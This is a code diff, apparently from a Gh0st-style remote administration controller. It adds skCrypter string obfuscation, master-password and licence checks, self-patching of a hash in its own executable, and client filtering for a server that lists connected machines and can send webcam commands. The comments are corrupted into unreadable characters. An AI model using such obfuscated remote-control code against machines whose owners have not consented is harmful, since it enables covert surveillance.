char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>

163
common/skCrypter.h Normal file
View File

@@ -0,0 +1,163 @@
#pragma once
/*____________________________________________________________________________________________________________
Original Author: skadro
Github: https://github.com/skadro-official
License: See end of file
skCrypter
Compile-time, Usermode + Kernelmode, safe and lightweight string crypter library for C++11+
*Not removing this part is appreciated*
____________________________________________________________________________________________________________*/
#ifdef _KERNEL_MODE
namespace std
{
// STRUCT TEMPLATE remove_reference
template <class _Ty>
struct remove_reference {
using type = _Ty;
};
template <class _Ty>
struct remove_reference<_Ty&> {
using type = _Ty;
};
template <class _Ty>
struct remove_reference<_Ty&&> {
using type = _Ty;
};
template <class _Ty>
using remove_reference_t = typename remove_reference<_Ty>::type;
// STRUCT TEMPLATE remove_const
template <class _Ty>
struct remove_const { // remove top-level const qualifier
using type = _Ty;
};
template <class _Ty>
struct remove_const<const _Ty> {
using type = _Ty;
};
template <class _Ty>
using remove_const_t = typename remove_const<_Ty>::type;
}
#else
#include <type_traits>
#endif
namespace skc
{
template<class _Ty>
using clean_type = typename std::remove_const_t<std::remove_reference_t<_Ty>>;
template <int _size, char _key1, char _key2, typename T>
class skCrypter
{
public:
__forceinline constexpr skCrypter(T* data)
{
crypt(data);
}
__forceinline T* get()
{
return _storage;
}
__forceinline int size() // (w)char count
{
return _size;
}
__forceinline char key()
{
return _key1;
}
__forceinline T* encrypt()
{
if (!isEncrypted())
crypt(_storage);
return _storage;
}
__forceinline T* decrypt()
{
if (isEncrypted())
crypt(_storage);
return _storage;
}
__forceinline bool isEncrypted()
{
return _storage[_size - 1] != 0;
}
__forceinline void clear() // set full storage to 0
{
for (int i = 0; i < _size; i++)
{
_storage[i] = 0;
}
}
__forceinline operator T* ()
{
decrypt();
return _storage;
}
private:
__forceinline constexpr void crypt(T* data)
{
for (int i = 0; i < _size; i++)
{
_storage[i] = data[i] ^ (_key1 + i % (1 + _key2));
}
}
T _storage[_size]{};
};
}
#define skCrypt(str) skCrypt_key(str, __TIME__[4], __TIME__[7])
#define skCrypt_key(str, key1, key2) []() { \
constexpr static auto crypted = skc::skCrypter \
<sizeof(str) / sizeof(str[0]), key1, key2, skc::clean_type<decltype(str[0])>>((skc::clean_type<decltype(str[0])>*)str); \
return crypted; }()
/*________________________________________________________________________________
MIT License
Copyright (c) 2020 skadro
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
________________________________________________________________________________*/

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 165 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

View File

@@ -24,13 +24,15 @@
#include "CPasswordDlg.h" #include "CPasswordDlg.h"
#include "pwd_gen.h" #include "pwd_gen.h"
#include "DateVerify.h" #include "DateVerify.h"
#include <fstream>
#include "common/skCrypter.h"
#ifdef _DEBUG #ifdef _DEBUG
#define new DEBUG_NEW #define new DEBUG_NEW
#endif #endif
#define UM_ICONNOTIFY WM_USER+100 #define UM_ICONNOTIFY WM_USER+100
#define TIMER_CHECK 1
enum enum
{ {
@@ -198,6 +200,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_WM_HELPINFO() ON_WM_HELPINFO()
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth) ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
ON_COMMAND(ID_TOOL_GEN_MASTER, &CMy2015RemoteDlg::OnToolGenMaster)
END_MESSAGE_MAP() END_MESSAGE_MAP()
@@ -235,8 +238,14 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
VOID CMy2015RemoteDlg::CreateSolidMenu() VOID CMy2015RemoteDlg::CreateSolidMenu()
{ {
HMENU hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ m_MainMenu.LoadMenu(IDR_MENU_MAIN);
::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2> CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
std::string masterHash(skCrypt(MASTER_HASH));
if (GetPwdHash() != masterHash) {
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
}
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD> ::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
} }
@@ -371,7 +380,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) { if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) {
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n")); Mprintf(CString("===> '") + strIP + CString("' already exist!!\n"));
return; return;
} }
//Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -512,6 +521,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
lvColumn.pszText = (char*)str.data(); lvColumn.pszText = (char*)str.data();
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn); m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
timeBeginPeriod(1); timeBeginPeriod(1);
#ifdef _DEBUG
SetTimer(TIMER_CHECK, 60 * 1000, NULL);
#else
SetTimer(TIMER_CHECK, 600 * 1000, NULL);
#endif
return TRUE; // <20><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򷵻<EFBFBD> TRUE return TRUE; // <20><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򷵻<EFBFBD> TRUE
} }
@@ -634,6 +648,19 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
{ {
if (nIDEvent == TIMER_CHECK)
{
if (!CheckValid())
{
KillTimer(nIDEvent);
CInputDialog dlg(this);
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:");
dlg.DoModal();
if (hashSHA256(dlg.m_str.GetString()) != std::string(skCrypt(MASTER_HASH)))
return OnMainExit();
MessageBox("<EFBFBD>뼰ʱ<EFBFBD>Ե<EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ: <20>ڹ<EFBFBD><DAB9>߲˵<DFB2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɿ<EFBFBD><C9BF><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
}
}
} }
@@ -641,11 +668,11 @@ void CMy2015RemoteDlg::OnClose()
{ {
// <20><><EFBFBD>ش<EFBFBD><D8B4>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD>ǹر<C7B9> // <20><><EFBFBD>ش<EFBFBD><D8B4>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD>ǹر<C7B9>
ShowWindow(SW_HIDE); ShowWindow(SW_HIDE);
OutputDebugStringA("======> Hide\n"); Mprintf("======> Hide\n");
} }
void CMy2015RemoteDlg::Release(){ void CMy2015RemoteDlg::Release(){
OutputDebugStringA("======> Release\n"); Mprintf("======> Release\n");
isClosed = TRUE; isClosed = TRUE;
ShowWindow(SW_HIDE); ShowWindow(SW_HIDE);
@@ -941,9 +968,9 @@ bool CMy2015RemoteDlg::CheckValid() {
auto settings = "settings", pwdKey = "Password"; auto settings = "settings", pwdKey = "Password";
// <20><>֤<EFBFBD><D6A4><EFBFBD><EFBFBD> // <20><>֤<EFBFBD><D6A4><EFBFBD><EFBFBD>
CPasswordDlg dlg; CPasswordDlg dlg;
std::string hardwareID = getHardwareID(); static std::string hardwareID = getHardwareID();
std::string hashedID = hashSHA256(hardwareID); static std::string hashedID = hashSHA256(hardwareID);
std::string deviceID = getFixedLengthID(hashedID); static std::string deviceID = getFixedLengthID(hashedID);
CString pwd = THIS_APP->m_iniFile.GetStr(settings, pwdKey, ""); CString pwd = THIS_APP->m_iniFile.GetStr(settings, pwdKey, "");
dlg.m_sDeviceID = deviceID.c_str(); dlg.m_sDeviceID = deviceID.c_str();
@@ -960,7 +987,7 @@ bool CMy2015RemoteDlg::CheckValid() {
return false; return false;
} }
std::vector<std::string> subvector(v.begin() + 2, v.end()); std::vector<std::string> subvector(v.begin() + 2, v.end());
std::string password = v[0] + " - " + v[1] + ": " + PWD_HASH256; std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash();
std::string finalKey = deriveKey(password, deviceID); std::string finalKey = deriveKey(password, deviceID);
std::string hash256 = joinString(subvector, '-'); std::string hash256 = joinString(subvector, '-');
std::string fixedKey = getFixedLengthID(finalKey); std::string fixedKey = getFixedLengthID(finalKey);
@@ -968,7 +995,7 @@ bool CMy2015RemoteDlg::CheckValid() {
THIS_APP->m_iniFile.SetStr(settings, pwdKey, ""); THIS_APP->m_iniFile.SetStr(settings, pwdKey, "");
if (pwd.IsEmpty() || (IDOK != dlg.DoModal() || hash256 != fixedKey)) { if (pwd.IsEmpty() || (IDOK != dlg.DoModal() || hash256 != fixedKey)) {
if (!dlg.m_sPassword.IsEmpty()) if (!dlg.m_sPassword.IsEmpty())
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20>޷<EFBFBD><DEB7><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING); MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
return false; return false;
} }
} }
@@ -989,9 +1016,9 @@ bool CMy2015RemoteDlg::CheckValid() {
void CMy2015RemoteDlg::OnOnlineBuildClient() void CMy2015RemoteDlg::OnOnlineBuildClient()
{ {
// <20><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD>14<31><34><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>"<22><><EFBFBD>к<EFBFBD>"<22><> // <20><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD>14<31><34><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>"<22><><EFBFBD><EFBFBD>"<22><>
// <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>߼<EFBFBD><DFBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>if<69><66><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD>Ӧ<EFBFBD>ط<EFBFBD><D8B7><EFBFBD><EFBFBD>ɡ<EFBFBD> // <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>߼<EFBFBD><DFBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>if<69><66><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD>Ӧ<EFBFBD>ط<EFBFBD><D8B7><EFBFBD><EFBFBD>ɡ<EFBFBD>
// <20><><EFBFBD>кŰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD>Χ<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>߼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>۸<EFBFBD>! // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD>Χ<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>߼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>۸<EFBFBD>!
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> if <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>θ<EFBFBD><CEB8><EFBFBD>Ȩ<EFBFBD>߼<EFBFBD>. // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> if <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>θ<EFBFBD><CEB8><EFBFBD>Ȩ<EFBFBD>߼<EFBFBD>.
// 2025/04/20 // 2025/04/20
if (!CheckValid()) if (!CheckValid())
@@ -1001,6 +1028,7 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
CBuildDlg Dlg; CBuildDlg Dlg;
Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", ""); Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", "");
int Port = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); int Port = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP;
Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str(); Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str();
Dlg.DoModal(); Dlg.DoModal();
} }
@@ -1014,6 +1042,8 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
{ {
int iItem = m_CList_Online.GetNextSelectedItem(Pos); int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
if (!ContextObject->bLogin && szBuffer[0] != COMMAND_BYE)
continue;
if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->sClientInfo[ONLINELIST_VIDEO] == CString("<EFBFBD><EFBFBD>")) if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->sClientInfo[ONLINELIST_VIDEO] == CString("<EFBFBD><EFBFBD>"))
{ {
continue; continue;
@@ -1101,7 +1131,7 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
UINT ret = 0; UINT ret = 0;
if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 ) if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
{ {
OutputDebugStringA("======> StartServer Failed \n"); Mprintf("======> StartServer Failed \n");
char code[32]; char code[32];
sprintf_s(code, "%d", ret); sprintf_s(code, "%d", ret);
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD>StartServerʧ<EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"+CString(code)); MessageBox("<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD>StartServerʧ<EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"+CString(code));
@@ -1339,13 +1369,18 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
{ {
char buf[100]; char buf[100];
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr)); sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
OutputDebugStringA(buf); Mprintf(buf);
return -1; return -1;
} }
LOGIN_INFOR* LoginInfor = new LOGIN_INFOR; LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0); ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
auto curID = GetMasterId();
ContextObject->bLogin = (LoginInfor->szMasterID == curID || strlen(LoginInfor->szMasterID)==0);
if (!ContextObject->bLogin) {
Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID);
}
strIP = inet_ntoa(ClientAddr.sin_addr); strIP = inet_ntoa(ClientAddr.sin_addr);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -1355,7 +1390,13 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
strOS = LoginInfor->OsVerInfoEx; strOS = LoginInfor->OsVerInfoEx;
//CPU //CPU
if (LoginInfor->dwCPUMHz != -1)
{
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz); strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
}
else {
strCPU = "Unknown";
}
//<2F><><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD>
strPing.Format("%d", LoginInfor->dwSpeed); strPing.Format("%d", LoginInfor->dwSpeed);
@@ -1368,7 +1409,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
delete LoginInfor; delete LoginInfor;
return S_OK; return S_OK;
}catch(...){ }catch(...){
OutputDebugStringA("[ERROR] OnUserToOnlineList catch an error \n"); Mprintf("[ERROR] OnUserToOnlineList catch an error \n");
} }
return -1; return -1;
} }
@@ -1376,7 +1417,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
{ {
OutputDebugStringA("======> OnUserOfflineMsg\n"); Mprintf("======> OnUserOfflineMsg\n");
CString ip, port; CString ip, port;
port.Format("%d", lParam); port.Format("%d", lParam);
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
@@ -1509,6 +1550,8 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
for (int i=0, n=m_CList_Online.GetItemCount(); i<n; ++i) for (int i=0, n=m_CList_Online.GetItemCount(); i<n; ++i)
{ {
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i); CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
if (!ContextObject->bLogin)
continue;
m_iocpServer->Send(ContextObject, buf, sizeof(buf)); m_iocpServer->Send(ContextObject, buf, sizeof(buf));
} }
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
@@ -1749,3 +1792,101 @@ void CMy2015RemoteDlg::OnToolAuth()
dlg.DoModal(); dlg.DoModal();
} }
char* ReadCurrentExecutable(size_t& outSize) {
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
char path[MAX_PATH];
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
if (len == 0 || len == MAX_PATH) {
return nullptr;
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
std::ifstream file(path, std::ios::binary | std::ios::ate); // ate = <20><><EFBFBD><EFBFBD>ĩβ<C4A9><CEB2><EFBFBD>ô<EFBFBD>С
if (!file) {
return nullptr;
}
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
std::streamsize size = file.tellg();
file.seekg(0, std::ios::beg);
char* buffer = new char[size];
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> buffer
if (!file.read(buffer, size)) {
delete[] buffer;
return nullptr;
}
outSize = static_cast<size_t>(size);
return buffer;
}
void CMy2015RemoteDlg::OnToolGenMaster()
{
CInputDialog pass(this);
pass.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:");
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
return;
std::string masterHash(skCrypt(MASTER_HASH));
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_ICONWARNING);
return;
}
CInputDialog dlg(this);
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD>µ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:");
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
return;
size_t size = 0;
char* curEXE = ReadCurrentExecutable(size);
if (curEXE == nullptr) {
MessageBox("<EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA>ٴγ<D9B4><CEB3>ԡ<EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_ICONWARNING);
return;
}
std::string pwdHash = hashSHA256(dlg.m_str.GetString());
int iOffset = MemoryFind(curEXE, masterHash.c_str(), size, masterHash.length());
if (iOffset == -1) {
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA>ٴγ<D9B4><CEB3>ԡ<EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_ICONWARNING);
SAFE_DELETE_ARRAY(curEXE);
return;
}
memcpy(curEXE + iOffset, pwdHash.c_str(), pwdHash.length());
CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) {
AfxMessageBox("Explorer δ<><CEB4>ȷ<EFBFBD><C8B7>ʼ<EFBFBD><CABC>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
SAFE_DELETE_ARRAY(curEXE);
return;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1>ļ<EFBFBD><C4BC><EFBFBD>
CFileDialog fileDlg(FALSE, _T("exe"), "YAMA.exe", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
}
catch (...) {
